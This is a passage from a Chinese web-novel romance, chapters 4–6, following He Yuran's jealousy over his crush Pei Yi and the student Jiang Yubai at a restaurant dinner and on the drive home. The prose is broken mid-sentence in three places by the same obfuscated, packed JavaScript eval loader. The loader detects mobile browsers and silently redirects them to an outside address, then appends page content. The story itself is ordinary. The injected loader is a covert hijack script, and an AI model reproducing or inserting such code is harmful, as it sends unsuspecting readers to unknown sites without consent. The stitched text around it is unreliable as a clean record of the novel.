;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848847|191438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说其实根本没影响。” 王康点头:“确实。” 毕竟他们眼里的贺欲燃,从来不会不强留谁,也不会为了感情患得患失。他总说,自己的生活总得继续,有故事自然是好的,没故事就好聚好散。这是他对感情与生俱来的透彻又扭曲的见解。 拍完了毕业照,就到了座谈会环节,全体大四都来到了体育场中心,从台下看,只看的见黑压压一片的学士帽。 座谈会也可以说是毕业典礼了,就是一些有名的教授和校领导上台讲话,致词都是一些心灵鸡汤,趁着学生们在这里的最后一节课,做着最后的熏陶。 贺欲燃听的犯困,半眯着眼睛几近都要睡着。 忽然,台上的老师吹了吹话筒,郑重喊道:“有请经济管理系,财务管理七班的优秀毕业生,学生会副主席——沈墨羽,上台致词!” 台下掌声瞬间沸腾,周围的五色彩带轰然喷发,在天空炸开一道绚丽的风景线,仿佛周身的一切都成为了台上闪闪发光的人的衬托。 贺欲燃不困了,眼睛盯着沈墨羽修长有力的腿迈上讲台,一身黑色西装剪裁合身,离得远看不清脸,但他身上迸发出的属于成熟男人的沉稳和干练,似乎有着不可抗拒的吸引力,一瞬间的占据了所有人的目光。 “又看你前crush呢。”柯漾笑他:“人家男朋友在底下站着呢,别看了。” 贺欲燃好心情瞬间被柯漾一盆冷水浇灭。 沈墨羽,他大一经管系交流会一眼看上的男人。 贺欲燃请沈墨羽喝的那杯酒,被他无情的推开,净透的酒水在杯中荡漾了一圈,映照出他清冷俊逸的脸:“抱歉,我没空。” 贺欲燃愣了一瞬,眉毛上挑出魅人的弧度,他开始打量起面前这个丝毫不吃他这一套的男人。 那包裹在寡言外表下犹如利齿一般的烈性,浑身散发出的禁欲和不羁,还有那布料下线条完美的肌肉纹理。 几乎是一瞬间,他的身心从头到尾被点燃,似乎有什么东西在烧。 贺欲燃也没恼,看着他离开的背影,品着嘴里辛辣又爽口的酒。 他想,好辣。 他没说酒。 贺欲燃阅人无数,也展开过几段认真的感情,但要说这里面长的最对他胃口的,只有沈墨羽,包括他现在有好感的裴意也无法媲美。 他无心听沈墨羽讲了什么,光顾着欣赏他在台上闪闪发光的模样。 “我的致词就到这里,感谢各位老师领导同学们认真的聆听,在最后的校园时光里,希望大家好好珍惜,慢慢告别。最后,预祝大家在今后的日子里前程似锦,步步高升,我们,顶峰再见。” 他铿锵有力的声音响过,台下的掌声也都发自肺腑。 贺欲燃欣赏艺术品似的仰望他,情不自禁的为他鼓掌。 正沉浸在前crush的高光时刻,下一秒话筒又响。 “最后,让我们用热烈的掌声欢迎,金融系金融学的优秀毕业生——苏瑾宁,上台演讲!” “我家狗生我家猫了我先走了。” 贺欲燃看一眼都觉得脏眼睛。 柯漾在旁边快笑出眼泪了:“诶别走啊,看看能把你crush征服的男人!” 贺欲燃指着柯漾,压低了声音咬牙切齿道:“后头再收拾你!” 他转身走出会场,也不禁想起那次新生交流会之后的故事。 贺欲燃对沈墨羽展开了猛烈的追求。 宿舍楼邂逅,打篮球送水,送文件跑腿。 最终,沈墨羽非常开心的拍拍他的肩膀,拉着身边那个比贺欲燃高出半头的男人给他介绍:“欲燃,这是我男朋友。” 然后那男人笑着说:“墨羽的朋友,也是我的朋友。” “……”贺欲燃。 他记得广场上还放着一首。 “朋友的情谊呀比天还高比地还辽阔,那些岁月我们一定会记得……” dj版的,贼震耳朵。 贺欲燃回忆起来,自己都忍不住想钻地缝。 这时手机恰好响起来,他打开手机,是自己的前crush。 不是鱼:走了吗,没看到你人。 贺欲燃刚才的怨气直接烟消云散,跟个脑残粉似的抄起键盘开始夸。 cx330〈你刚才的演讲好帅啊宝宝。〉 他看着聊天框美滋滋的等待回应,下一秒语音弹过来。 沈墨羽很少会给他发语音,他满怀期待的点开。 “贺欲燃,你最好别让我抓到你人影,我会卸了你。”男人阴沉道:“一定。” 哦,前crush的冤大头男朋友。 贺欲燃发了两个呲牙笑的表情,贱的很,然后又觉得不够,按了条语音,娇嗔的让人发恨:“伦家只是夸了墨羽哥哥几句嘛,瑾宁哥哥干嘛这么凶呢~” 而后,苏瑾宁发了六条60s的语音。 他都没敢听。 他知道,60s是微信的极限,不是苏瑾宁的。 4. 假想敌 晚上五点钟左右,贺欲燃从清吧出来,回家洗了个澡准备觅食,他常去的那几家餐厅基本都关门了,他烦躁的开着车往樱花路走,看见一家西餐厅还开着门,他其实吃不惯西餐,但肚子饿的咕咕叫,他不是很想再大半夜找24小时药店了。 他走进去,正在找前台点单的地方在哪,身后就传来一声呼喊。 “欲燃?你也在这?” 贺欲燃回过头,对上裴意的目光,他还来不及惊喜,就看到了正坐在裴意旁边,挨的极近的男生,是江逾白。 他怔忪一瞬,嘴角落了几分。 “你也来这里吃饭吗?正好我们刚到,来,坐下一块儿!”裴意招手让他过来。 江逾白看见他,站起身:“哥哥好。” “你叫我燃哥就行。”贺欲燃走过去,淡淡的交代。 “好。”江逾白很认真的重复了一遍:“燃哥。” 他抬头,对上江逾白那双亮晶晶的眸子,他突然回忆起药店见到他那次,他眼里那股冷漠的疏离感。 贺欲燃站在原地,是错觉吗,怎么感觉,他跟第一次见面时不太一样。 他在菜单上翻了翻,根本没什么他想吃的,就随便点了份番茄意面,加一杯果汁。 裴意倒是不乐意了:“没了?就这么点儿?都说了请你吃饭了,给谁省钱呢?”他又转头教唆江逾白:“是吧小白。” 江逾白茫然的抬起眼,不明所以的点了点头。 “今天没什么好胃口,改天去小裴老师家,你亲手做给我吃怎么样?” 贺欲燃Wink了一下,那眼神暧昧的快要拉丝。 裴意却根本看不出来,豪爽的点点头:“当然没问题,你想吃什么到时候发我。” 他目光正直的像要入党,贺欲燃无奈的摇摇头,习惯了。 “对了,今天的篮球赛最后哪个班赢了。后来我回去备课没看到。”裴意吃的腮帮子鼓鼓的,跟仓鼠一样,离了学校,他跟江逾白站在一块根本看不出来是师生,更像好朋友。 江逾白回答他的话:“三班,他们班的高阳很厉害,最后把比分追了。” 裴意瞬间泄气:“啊?他啊。我去那个班上课的时候,就那个高阳,纯是不学无术的小混混,上课我说什么他都要接个茬,听说他还总欺负低年级的?” “嗯,同年级的也有被他找麻烦的。”江逾白说。 “看得出来,肯定不是什么省油的灯。”裴意说完叹了口气:“跟我一个办公室的那个王老师,就带他们班,经常因为高阳那一帮搅屎棍气的吃不下饭。” 喝了两口果汁灭了火,裴意擦擦嘴角,不由得追问他:“那他没欺负过你吧?我听说他们班那两个学习好的经常被他找麻烦。” 江逾白捏着杯子的手顿了一下,没抬头:“没有,不熟。” 听到他干脆的回答,裴意才放下心来:“哦,那就好。那你离他远点啊,你们班那些跟他关系好的也少来往。” 裴意大不了江逾白几岁,一脸婴儿肥不知道的可能以为他俩一般大,所以故作老成的时候格外的有违和感。 江逾白笑的闷而含蓄:“我知道,不用这么担心我的。” 裴意特别不喜欢听朋友跟自己客套,白眼一翻:“我不担心你,难道要担心后面那几个混子上课有没有睡好觉吗?” 江逾白没忍住笑了。 裴意倒是面露苦情:“唉,虽然实在不想在这个学校呆着,但时间过得太快了,转眼还有一周我就要走了。” “明明昨天还在抱怨辞职不干了,没想到这会儿倒有点舍不得,人啊,甚至不能共情昨天的自己。”裴意眼巴巴的望着窗外,眉毛愁的一高一低。 江逾白安慰道:“有空的话,我约您吃饭,您请了我这么多次,我还没机会还礼。” “咱俩谁该谢谁呀?老说这些外套话,再说了,要谢也是我谢你,没有你我可能对八中连这点念想都没有。”裴意激动起来。 这话听着没什么不对劲,但到了贺欲燃耳朵里,总觉得搁愣。 “我还担心你在八中会很孤单呢,看来没有啊。”他稍稍抬眉,露出一个近乎完美的笑容:“你们看起来关系不错。” 目光交错,但江逾白只是凝视片刻,就匆匆挪开了脸。 “不错哪够啊?”裴意先拍桌子了:“你都不知道,我到现在都还记得我开学上的第一堂课,紧张的我满头都是汗,生怕我哪里讲的不好,结果我一抬头,发现所有人都在睡觉,只有他一个人在抬头听我讲课。” 课堂下一片黑压压趴倒的头顶,只有一个男生抬头眼巴巴的望着他,认真听他讲话。 这对于一个初来乍到的实习老师来说,无疑是一种非常难得的动力和鼓励。从那之后,他也开始格外关心起这个看起来闷闷的男孩子,久而久之,两人也成了关系不错的朋友。 江逾白忽然感到有双手搂住了自己的脖子,然后就听到裴意在他耳边的哀嚎。 “哎呦喂想想就好难过!要不你跟我走吧,我去哪任教你就去哪里读书!” 这种幼稚的请求确实不像一个老师会提出来的,江逾白好笑又无奈,想说什么缓解一下裴意复杂的心情。 “咣啷”一声,猝不及防的砸破这哀怨的气氛。 叉子滚了两圈滑到江逾白手边。 他愣愣的抬头,对上一双满是歉意的眼睛。 “不好意思,手滑了。”贺欲燃噙着笑,将自己的不爽藏的滴水不漏:“麻烦递给我一下。” 江逾白缓缓点头,又抽了张纸巾将叉子从头到尾擦了一遍,才送到贺欲燃张开的手心里。 贺欲燃有点意外他的细心,扬眉笑道:“谢谢。” “怎么了?是面不太合胃口吗?”裴意关切的问。 贺欲燃往嘴里送了一口面:“没,就是觉得意面里番茄放多了。”他挑出一块番茄扔到其他一个盘子:“有点酸。” 很酸。 这一整顿饭,贺欲燃说的话少之又少,活像个过来蹭饭的局外人。 裴意关切的给江逾白夹菜,叮嘱他学习上的各种琐事。00后老师都是这样,能轻松的和学生们打成一片,处成朋友,裴意也是一样。 两人聊着聊着,忽然聊到裴意和贺欲燃的大学时光,裴意回忆起来,万分感慨的说:“想当初我跟你燃哥刚认识的时候,我还是个经常逃课挨抓的呢,没想到现在我都当老师了。你燃哥现在也是酒吧老板了,唉羡慕死了,我还要考公考研的,能不能让我也无痛当个老板。” 贺欲燃喝了口果汁,上下嘴皮一碰:“早说了啊,下嫁我,当老板娘。”他的话总是不着调,无意间撩拨,但见他那一脸无所谓的表情,又有种自己想多的错觉。 “别不要脸了,我才不嫁。”裴意笑骂道:“要嫁也是你嫁我。” “你愿意娶我也行啊。” 真1从不占口头便宜,贺欲燃就是最典型的那种。 以往两个人在一起吃饭的时候经常会这样开玩笑,裴意很喜欢这种相处方式。 江逾白的声音却忽然岔进来:“老师,以后去哪里工作,有打算吗?” 贺欲燃皱了下眉,又很快松开。 这话插的特别不是时候,话题跳出去太大,更像是刻意。 裴意强行把思绪拉回:“哦,准备去六中,感觉那里环境更好一点。” “嗯。”江逾白毫不吝啬的给予肯定:“好的环境更适合您。” 以江逾白的谈吐,还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848848|191438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴意对他的喜爱程度来看,他绝对不会是那种意识不到自己失礼的孩子。 贺欲燃其实是个很擅长热场的人,但他跟江逾白实在不熟,而且他们两个整天在一起,发生的趣事确实要比他跟裴意要多得多。 怀疑的种子一旦埋下,就会在心底迎风狂长。 就像江逾白说的,裴意请他吃了很多次饭,那么说明这样相处的机会,在他不知道的情况下有过很多次。 喜欢一个人,最大的麻烦不过于占有欲,求知欲。想知道他身边都是什么人,谁会对他有实质性的威胁。 “欲燃?”裴意盯着他啃叉子的嘴巴,有一秒怀疑他是否有异食癖:“干嘛啃叉子?想什么呢?” 贺欲燃“啊”了一声,笑着过渡:“清吧的事,不重要。” “怎么了?是最近太忙了吗?”裴意的性格就是这样,对谁都好,对谁都关心,是缺爱的人会“一眼定终身”的朋友类型。 当然,也不免得会吸引来一些对他有想法的人。 所以,贺欲燃有时候觉得自己喜欢上裴意也挺悲惨的,又是直男,又是老好人,身边那些男人女人多的成群,他要一个一个排除,跟消消乐通关似的。 “是啊,最近新到的货出了点问题,回去还要盘账,可能又要忙到半夜。”贺欲燃不是一个会抱怨的人,哪怕是,也总是以玩笑的方式结尾,他托着下巴,笑的撩拨又像是在博可怜:“心疼我啊?” “当然呀。”裴意答应的实心实意:“再忙你也要注意身体的,你看,你眼睛红血丝又好严重啊,我前段时间给你买的眼药水你有在滴吗?” “有的,等用完了,裴老师要不要给我续上?” 贺欲燃张嘴就来,但其实那瓶眼药水他压根没滴几次,每天都是直接忙到睡着,就算是想着也来不及。 裴意从不拒绝朋友的请求,积极的答应下来:“好啊,我过两天就给你买吧。” 贺欲燃忽然有点无奈,裴意对他是好,最好的时候,他毕业聚餐上喝多了吐得满身,是裴意一个人留下来,毫不嫌弃的给他收拾身上的狼藉。 从此他满腔孤勇,一发不可收拾。但同时他也知道,如果那天不省人事的人是王康,柯漾,或许裴意都会这么做。 他就是贪恋这点小小的温存,贪恋到想占为己有,幻想如果有一天能跟裴意相爱,是不是得到的远比现在更多。 贺欲燃叹了口气,不知自己在感伤什么:“好啊,那你亲自给我送来。” 裴意一撇嘴:“什么无理要求,你来我家自己取。” “没关系,去谁家都一样。”贺欲燃就差把“只是想见你”写脸上了。 其实crush是直男也不是没好处,那就是不管他说什么做什么,直男也根本不会察觉,明目张胆的暗恋也挺爽的。 目光稍稍偏移,他撞入了那双浅棕色的湖泊。 很奇怪,江逾白的眼神投射出的不像是对他的好奇,也不像是想跟他搭话。 反而像是一种,窥探。 窥探他眼睛里的情绪。 “怎么了?”贺欲燃被这种眼神盯的不自在,索性了当的问:“是我脸上有什么吗?” 他笑的说不上刻薄,但隐隐约约渗透出审视的锋利。 江逾白明显没想到他会察觉,茫然的晃头:“没有。” “这样啊,那你动不动就盯我。”贺欲燃眯着眼睛笑,像只示好的狐狸:“我还以为是你觉得我长的特别好看呢。” 他没打算等江逾白回答,只是想试探一下他的反应。 “嗯。” 是江逾白的声音:“好看的。” 他语速慢,像是为了让他更好的听清:“第一次见到燃哥的时候,也这么觉得。” 5. 左手 贺欲燃只感觉被道雷劈了,半天没反应过来。 “是吗?”他忽然不知道该怎么接,只觉得他目光烫得很,转开脸:“我这么好看吗?小裴,你学生嘴可真甜。” 裴意笑了笑:“好看是真的,但是我们小白说话好听也是真的。” 我们小白啊。 贺欲燃咀嚼了一遍,淡淡的勾起嘴角:“挺好的,嘴甜不是坏事。” “你别光吃牛排啊。这些我都看你没怎么动,来,多吃点。”裴意拿起手边的一块蛋糕:“这个给你点的,你们小孩子就喜欢吃些甜的。” 江逾白受宠若惊:“好。” “小孩儿?你大人家多少啊,叫人家小孩儿?”贺欲燃瞥了一眼他碗里的蛋糕,笑的鄙夷。 裴意想装没装成,有点尴尬:“那怎么了?大四岁也是大,他也得叫声哥。” 贺欲燃嗤笑,指了指离他有点远的蛋糕:“行,那大一岁也是大,小裴哥,帮我拿块儿蛋糕。” “叫的怪顺嘴,你以后就叫我这个算了。”裴意叉起一块蛋糕准备送到贺欲燃盘子里,谁知他直接张开嘴“啊~”了一声。 “干嘛?” 贺欲燃理所当然:“那我哥都叫了。” 裴意翻了个白眼,却还是把蛋糕塞进了他嘴里:“哥该呼你脸上的。” 贺欲燃忍笑,被骂了跟被夸了似的,就差脸上开花了。 “裴老师,让一下。” 江逾白不知何时站起身:“去一下洗手间。” “哦好。”兴许是裴意也没反应过来他嗓音里忽然的冷色,怔怔的站起身给他让路。 目光只是擦肩而过,贺欲燃还来不及深究,江逾白就已经消失在走廊尽头。 气氛诡异的安静了几秒钟,裴意忽然纳着闷问他:“小白,刚,是不是有点不开心的样子?” 贺欲燃喝饮料的动作顿住,他缓慢咽下嘴里的橙汁:“有吗?” 他放下杯子,舔舔嘴唇:“他平常跟你相处的时候,不是刚才那个样子吗?” 裴意并不会意识到他话里的试探,准确无误的跳进了他的圈。 “不会啊,虽然他性格挺闷的,但平常我们相处的时候,他讲话都挺温柔的。啧,怎么说呢,也不算不正常吧,就是感觉他情绪不太对,可能是我想多了。” 一个人想多是想多,两个人就不是了。 贺欲燃盯着裴意百思不得其解的脸:“是吗?” 目光由近到远,他望着江逾白消失的楼梯口,嘴角轻扬,笑意却不达眼底:“可能是,想到了什么讨厌的人吧。” —— 江逾白去了挺长一段时间都没回来,贺欲燃和裴意已经吃的差不多了。 裴意擦擦嘴:“吃好了吗?要不要去下洗手间,小白也不知道在干嘛,怎么还不出来。” “可能是坏肚子了。”贺欲燃邹邹鼻子,嫌弃的指向那份番茄意面:“这面,酸的不正常,像馊掉了。” 裴意大惊失色:“啊?不会吧,我也吃了这个面,那我。” 裴意这好骗的性格,一逗一个准,贺欲燃得意的扬扬眉毛:“没事啊,甜蜜双排,走,我也去。” “不要,你好恶心。” 贺欲燃笑嘻嘻的晃着他的胳膊,晃着晃着就抱到了自己怀里,脑袋跟小猫似的往裴意身上蹭。 “不好意思不好意思,让一下让一下!” “啪……” 玻璃杯触地即碎,一百度的咖啡牛奶溅的到处都是,整块大理石瓷砖都咕嘟咕嘟冒着热气。 “对不起先生,对不起对不起两位先生!” 女生慌忙的鞠躬一遍遍向两个人道歉。 “啊嘶……” 裴意被烫的有些严重,手腕到臂弯全被咖啡浸湿。 “我看看。”贺欲燃无暇顾及自己灼热的手,先抓起了裴意滚烫的衣袖,往上一掀:“啧,全都红了。” “对不起,真的!我,我刚才跑的太急了!两位先生,不要紧吧?” 女孩声音很稚嫩,听起来也就高中大学的年纪,因为闯了祸急的都快要哭了。 贺欲燃确实很生气,但转头瞥见女孩彤红的手背,又有些无奈。 他牵起裴意的手放到唇边呼了呼:“没事,冲冲冷水就好了,走,去洗手间。” “对不……”女孩还想道歉,贺欲燃先她一步打断:“你也冲一下,手红了。” 这句话给女生听的有些不知所措,呆在原地半天,最终只是用红红的手背抹了一下眼泪,回头去找拖布收拾这片狼籍。 裴意的手烫的真的有点严重,不赶紧冲水可能会肿出水泡。 “你袖子也湿了,手没事吧?”裴意眼尖,疼的呲牙咧嘴还不忘关心他。 贺欲燃急的眉毛拧紧,一手打开水龙头,另一只手给他一点一点的卷起袖口:“我能有什么事,那一整杯都扣你身上了,别说话了,过来,冲水。” 冷水冲了能有两分钟,一直到裴意不再发出痛苦的声音,他才关了水龙头。 “感觉怎么样?还疼不疼?”贺欲燃关切的问。 裴意活动活动了下臂弯:“还好,有一点疼,但感觉应该没事了。” 烫伤大部分都会有潜伏期,可能现在看来没事,第二天又会肿起一大片,活动都困难。 “你等着,我出去给你买烫伤膏,现在就涂上。” 他转身就想走,裴意哭笑不得的横拦在他面前:“哎呀不至于,大男人受点伤不正常嘛,再说万一没事呢,药店挺远的,好了好了。” 但贺欲燃压根不听他废话:“你先用冷水冲着,我马上回来。” 裴意无助的伸了伸手:“诶……” 贺欲燃风风火火的跑到门口,一开门就跟刚从外面回来的江逾白迎面碰上。 他刚跑过,前额的碎发有几缕翘的很高,外套也不太整齐,和那晚雨夜在药店门口,贺欲燃回头见到他的时候一模一样。 他没去厕所?出去干嘛了? 贺欲燃短暂的跟他对视了一下,两人眼里的疑惑打了个照面。 但现在他没空搭理,步子刚迈出去,忽然感觉有人拽了下他的胳膊。 “怎么了?去哪?” 是江逾白,他刚停下跑步,所以声音很不稳,夹杂着忽高忽低的喘息。 贺欲燃打开了大门,风涌进来,携着街道混乱的声音:“有事,你回去找裴意。” 药店在第二条街,距离挺远的,但开车来回也不过十分钟。 他拿着烫伤膏回店里的时候,正好碰上刚刚撞上来的那个女孩挨训。 “你怎么搞的?这么点小事儿都做不好?杯子碎了这么多就算了,你要是把顾客烫伤了,我得花多少钱你知道吗?” 中年店长顶着个标准地中海,穿金戴银的相当气派,但说起话来倒是咄咄逼人。 “我告诉你,你能干就干,干不了就他妈滚蛋,今天的损失全从你工资扣,今晚加班!” “店长,店长我今晚得早点回学校,我……” 女生的请求并没有得到反馈,她抿着嘴唇,低下头抽泣起来,瘦弱单薄的肩膀随着情绪不停颤抖。 贺欲燃有些于心不忍,站在远处看了半天,忽然想起自己实习那会儿,因为账目出了差错被领导当狗崽子拎着批的时候。 “欲燃,很远吧,我都说了不要去的,你看,冲冲冷水就好多了。” 声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848849|191438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由远而近,贺欲燃被打断思绪,回头看到裴意和江逾白一前一后朝他走过来。 “涂上吧,及时止损,万一出问题呢。”贺欲燃拆开了包装,细心的将烫伤膏取出来拧开:“过来,坐下。” 已经差不多过了饭点,餐厅大部分客人都走光了,贺欲燃扯过一张凳子,细心的扶起裴意那只“半残”的胳膊。 “我自己来吧我自己来!”裴意有些不好意思,本想伸手拦他。 “嘶。” 被碰过的地方引起一片急迫的刺痛感,贺欲燃缩了下左手。 他刚刚烫伤的地方好像有点严重了。 “怎么了?”裴意眨眨眼睛,想查看他的手。 “没事,外面太冷了冻僵了。” “啊?那你要不要暖暖,我自己来……” “你两只手都烫成这样怎么自己来,不要再动了。”贺欲燃语调高了,显然有些生气。 其实他的手被烫伤这件事也没什么好隐瞒的,但他就是觉得比起裴意整片胳膊的伤,他这也算不上什么。更何况被人发现受伤是个挺麻烦的事情,总有人会因为他的伤口忙前忙后,就像刚才他对裴意那样。 这是很正常的关心,可到了自己身上总会惹得不自在,也说不上为什么,可能单纯就是怕矫情,特别是怕别人为了他矫情。 他把红透的手背缩进大衣袖子里,只剩修长的手指露在外面,一点一点把药膏往外挤。 “我来吧。” 贺欲燃条件反射的停了下来,抬头就看到了江逾白那双伸过来的手。 他警惕的躲了一下,摆出动物护食的架势:“不用,我来就行。” 贺欲燃伸手均匀的推开了裴意手臂上的药膏,中药刺鼻的味道一瞬间扎染开,他偏头秉住了呼吸。 江逾白站在距离他不到半步的地方,目光不偏不倚的落在他身上。 其实贺欲燃对目光很敏感,清楚的知道江逾白在看他,换做往常他可能会心照不宣的装作没看见。 但这都是第几次了? 他被盯得实在难受,抬头瞪过去。 江逾白没有像自己预料之中的尴尬的移开目光。 因为他眼神的落点根本就不在贺欲燃脸上。 薄薄的唇线收紧,他垂着那双郁气的双眼,分不清是情绪不对,还是太过放松的姿态。 追逐着他目光的终点,是贺欲燃缩起来的左手。 “燃哥。”他往前走了两步,执意道:“还是我来吧。” 他越是抢,贺欲燃越想跟他杠:“我……” “就让他来吧,你刚从外面回来,手还冷着,暖一暖。”裴意也出声打断。 贺欲燃:“……” 裴意都把话说到这份上,他再执拗的坚持,就显得自己奇怪了。 “擦一下。” 贺欲燃抬起头,江逾白夹了张纸巾递过来,示意他擦一下左手沾上的药膏。 贺欲燃想接,但又不想领情,板着脸道:“不用。” 江逾白眼皮都没瞭,直接把纸巾塞进他手里,重复:“擦一下吧。” 贺欲燃:“……” 江逾白手上的动作很温柔,修长的手指微微弯曲,细心又认真的照顾到裴意的每一片皮肤。 有的时候裴意会疼的缩一下,江逾白抬起头,细声细语的:“对不起。” 裴意的眼睛清明而透亮,笑起来的时候圆溜溜的很好看:“麻烦你了小白。” “没事。”江逾白有些专注,又长又直的睫毛下垂出温和的弧度。 贺欲燃安静的坐在一旁,目光从他直密的睫毛一路追逐到他握着裴意胳膊的那只手,舌根轻轻抵了抵上颚,是他忍耐时会有的微动作。 6. 炸鱼丸 “好了,干了再把袖子放下来吧。”江逾白站起身,抽了张纸擦手。 裴意点头:“那回去吧,在车里这段路也应该干的差不多了。” 裴意回过头想叫贺欲燃,发现他早就站起了身,一言不发的往门口走。 “哎呦不好意思不好意思,打扰几位先生!” 贺欲燃微微俯首,看着挡路的这个一米六的中年男人,他笑眯眯的仰着脸,眼角的鱼尾纹都能夹死两只苍蝇。 “我是餐厅老板,刚才的事情实在是抱歉。”他态度相当诚恳,游刃有余:“两位先生伤的重不重?要是需要去医院的话,我有车,可以送你们过去,看一下医生也放心。” 要说能当老板的人就是厉害,千副面孔。 贺欲燃看他不顺眼,冷着脸没说话。 “啊,我们没事,真的,就只是小伤而已算不上什么大事。”裴意接过话茬,大方的回绝了店长的好意。 也不知道是真因为他们没事儿开心,还是因为不用花钱而松了一口气。 “哈哈哈,那就好那就好,这样,几位先稍等片刻,毕竟是在我店里受伤,我这个做店长的还是得赔个礼。”中年男人转头,使唤旁边正在拖地的服务生说:“那个,小刘儿,去打三杯柠檬汁过来。” 男生赶紧放下手里的活:“啊好!马上!” 裴意觉得没必要:“其实不用的老板……” “这点小意思就别推辞了,几位稍等一会儿,柠檬汁做的很快的,哈哈。” 贺欲燃睨了一眼老板亮到反光的头顶,小声对裴意蛐蛐:“当然做的快,柠檬汁是这店里最便宜的饮品,还他妈没我烫伤膏贵,放点冷水一勾兑就完事儿了。” 裴意认可的疯狂点头,压低声音:“就是,这么扣,怪不得脖子上金链子那么长。” 贺欲燃:“抻开比他人都高。” “噗——”裴意没忍住。 “先生,你们的柠檬汁,拿好。”服务生把果汁递过来,江逾白伸手接过:“谢谢。” “我刚才喝的差不多了,根本喝不下。”裴意拍了拍鼓鼓的肚子:“小白,你喝吗,要不我的你拿回去吧。” 江逾白摇摇头:“我也差不多了。” 裴意耸耸肩,系上了包装袋:“那好吧,回去送邻居家小孩儿。” 推开大门,裴意忽然发现刚刚还在自己旁边的贺欲燃不见了,一回头,看见他还站在原地,望着某处发呆。 “嗯?欲燃,不走吗?”裴意问。 贺欲燃转头:“你们先去,我上个洗手间。” “啊?哦。” 地面拖了几次才彻底干净,女孩擦了擦脸上的眼泪,抬起头,恍然对上一双很漂亮的眼睛。 “先……先生。”女生认出他,磕磕巴巴的,像是怕他是来责怪。 贺欲燃点了点头,伸手将那杯柠檬汁递了过去,刚打好,杯身还落着清凉的水珠,顺着他手指的骨骼线滑下。 “请你喝。” 女生满是泪痕的脸晃过错愕。 然后就听到面前这个好看到让她下意识屏住呼吸的男人说。 “别哭了。” —— “对了小白,刚才出去干什么了,半天没回来。”车里,裴意忽然问。 贺欲燃也忍不住看了一眼后车镜里正合眼休息的某人。 江逾白睁开半眯着的眼睛,沉默了片刻:“没什么,忽然想起来附近有家便利店,就去买了点东西。” 非常不合理的解释,裴意皱了皱眉,但也没好在去问什么。 其实江逾白和他关系确实很好,两个人也经常能说说笑笑聊的很来,但他并不认为他能和江逾白做特别好的朋友。 因为江逾白身上总有种不真切的距离感,他从来不会跟裴意透露太多关于自己的事情,就哪怕是裴意主动问,得到的永远都是不走心,又好像是早就编好的理由。 “好吧。”他识相的点点头,没有再问下去。 车子在这时候缓停,贺欲燃转头细心叮嘱:“路上小心,记得涂药膏。” “好,那我先走啦,拜拜!”裴意又朝身后的江逾白招手:“小白,明天见。” “明天见。”江逾白笑了笑。 车门关上,贺欲燃不放心的盯着裴意的背影消失在楼道里,才挂了车档驶离。 空气陷入一片不正常的死寂,贺欲燃倒没觉得有什么,毕竟两个人的关系也没什么好聊的。 只是每一次抬头,基本都能和后视镜里那双死气沉沉的眼睛对上。 这一路上江逾白看他不下十次,他有的时候会装傻,但被看的受不了了也会抬头瞪回去。 每一次其实他都发现了,但江逾白像是死性不改似的,对上了目光就移开,贺欲燃转脸他再去盯。 “你有话想说吗?” 终于,车子拐进御景园大门,贺欲燃忍不住问他。 这片地段已经没什么人居住了,路途有些崎岖,江逾白跟着颠簸左右晃了一下,贺欲燃以为他在摇头。 “没有就算了。” “我。”江逾白出声,但在这一个字后又没了后半段。 贺欲燃对他有些烦躁,不仅仅来自于对他有一种来自情敌的揣测和怀疑,更多的是,觉得他这个人有点奇怪,但又说不上来。 江逾白在兜里摸了半天,掏出一个塑料袋,递了过去:“要吃吗?” “?”贺欲燃。 他几乎是表情失控,震惊又匪夷的盯着江逾白突如其来递上来的那袋炸鱼丸。 外面裹着隔热袋,从袋口微微冒着些白气,看样子还是热的。 贺欲燃彻底被他一系列迷惑行为搞蒙了。 心情有点复杂,他皱起眉,看起来并不高兴:“我不吃。” 难道他这一路上就这么盯着自己,合着就想问自己要不要吃炸鱼丸? “哦。”听到他不带任何气温的回答,江逾白眨眨眼睛,又乖乖的把鱼丸收回去。 他认真的把袋子重新系上,生怕凉了,然后紧紧的揣进了兜里面。 贺欲燃在后视镜里目睹,不知哪里来的一种无力感,僵了半天终于破功,笑出声:“你刚才出门是去买它了?” 江逾白点头,一脸这有什么奇怪的表情。 贺欲燃想了半天,才终于想出个合理的理由:“在西餐店没吃饱?” 或许是因为这顿饭是裴意请的,江逾白不好说实话,磨蹭了半天:“还好。” 是的没吃饱。 看来大家都会为了喜欢的人去接受讨厌的事物。 贺欲燃有点共情了:“难怪,我也不爱吃西餐,那东西吃不饱。” 